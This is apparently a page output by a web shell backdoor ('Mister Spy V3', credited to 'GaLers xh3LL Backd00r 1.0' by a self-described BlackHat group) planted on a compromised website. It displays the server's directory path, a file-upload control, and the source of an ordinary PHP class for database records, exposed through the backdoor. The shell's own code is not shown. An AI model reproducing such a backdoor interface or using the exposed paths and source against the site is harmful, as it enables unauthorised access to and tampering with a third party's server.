Mister Spy Say ="Hello Kids ... :D" ___ ____ _ _____ | \/ (_) | | / ___| | . . |_ ___| |_ ___ _ __ \ `--. _ __ _ _ | |\/| | / __| __/ _ \ '__| `--. \ '_ \| | | | | | | | \__ \ || __/ | /\__/ / |_) | |_| | \_| |_/_|___/\__\___|_| \____/| .__/ \__, | | | __/ | |_| |___/ Bot Mister Spy V3
Mister Spy

Mister Spy

Current Path : /home/caballoscriollos/www/web/library/
Upload File :
Current File : /home/caballoscriollos/www/web/library/class.registro.php

<?php

require_once('class.db.php');
require_once('class.dbaccess.php');
require_once('class.keywords.php');

class Registro
{
	const PathFile		= '../_recursos/registros/archivos/';

	public $IdRegistro;
	public $IdCategoria;
	public $Titulo;
	public $Fecha;
	public $Cuerpo;
	public $Disponible;
	public $Archivo;
	public $Link;
	public $Keywords;
	
	public function __construct()
	{
		$this->IdRegistro	= '';
		$this->IdCategoria	= '';
		$this->Titulo 		= '';
		$this->Fecha		= '';
		$this->Cuerpo		= '';
		$this->Disponible	= 1;
		$this->Archivo		= '';
		$this->Link 		= '';
		$this->Keywords 	= array();
	}
	
	
	public function ParseFromArray(array $arr)
	{
		$this->IdRegistro	= $arr['IdRegistro'];
		$this->IdCategoria	= $arr['IdCategoria'];
		$this->Titulo 		= stripslashes($arr['Titulo']);
		$this->Fecha 		= $arr['Fecha'];
		$this->Cuerpo		= stripslashes($arr['Cuerpo']);
		$this->Disponible	= $arr['Disponible'];
		$this->Archivo		= $arr['Archivo'];
		$this->Link			= $arr['Link'];

		$this->Keywords 	= $this->GetKeywords();
	}

	public function GetKeywords() {
		$oKeywords = new Keywords();

		return $oKeywords->GetAll(array('IdRegistro' => $this->IdRegistro));
	}
}

?>

Mr. DellatioNx196 GaLers xh3LL Backd00r 1.0, Coded By Mr. DellatioNx196 - Bogor BlackHat